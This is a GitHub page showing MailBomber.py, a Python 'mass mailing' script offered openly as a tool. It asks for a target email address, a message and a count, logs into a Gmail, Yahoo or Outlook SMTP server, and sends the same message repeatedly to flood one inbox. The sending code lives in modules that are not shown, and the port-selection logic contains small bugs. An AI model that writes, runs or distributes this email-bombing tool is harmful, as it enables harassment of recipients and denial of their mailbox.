-
Notifications
You must be signed in to change notification settings - Fork 12
/
MailBomber.py
71 lines (51 loc) · 1.83 KB
/
MailBomber.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/python3
# MailBomber.py -> mass mailing script
import smtplib
from src.mail_bomb import MailBomb
from src.mail_client import MailClient
from src.utils.util import get_ascii_header
print(get_ascii_header())
def get_mail_bomb_input():
recip_mail = input("What is the recipient\'s email address ? ")
message = input("Enter the message that you want to mail:\n")
times = int(input("How many times do you want to send mail ? "))
return MailBomb(recip_mail, times, message)
def get_smtp_server_and_port(server):
select_smtp = {
"gmail" : "smtp.gmail.com",
"yahoo" : "smtp.mail.yahoo.com",
"outlook" : "smtp.live.com"
}
select_port = {
"yahoo" : 465
}
smtp_server = select_smtp.get(server) or ValueError('SMTP server and port not available')
port = select_port.get(server) or ValueError('SMTP server and port not available')
if server == "gmail":
smtp_server = "smtp.gmail.com"
port = 587
elif server == "yahoo":
smtp_server = "smtp.mail.yahoo.com"
port = 465
elif server == "outlook":
smtp_server = "smtp.live.com"
else:
raise ValueError('SMTP server and port not available')
return smtp_server, port
def get_email_client(smtp_server, port):
smtpobj = smtplib.SMTP(smtp_server, port)
smtpobj.ehlo()
return smtpobj
def mass():
try:
server = input("Server Mail:")
smtp_server, port = get_smtp_server_and_port(server)
smtpobj = get_email_client(smtp_server, port)
mail_client = MailClient(smtpobj)
mail_client.enable_email_encryption(smtp_server)
mail_bomb_request = get_mail_bomb_input()
mail_client.send_email_bomb(mail_bomb_request)
except ValueError as err:
print(err)
if __name__ == '__main__':
mass()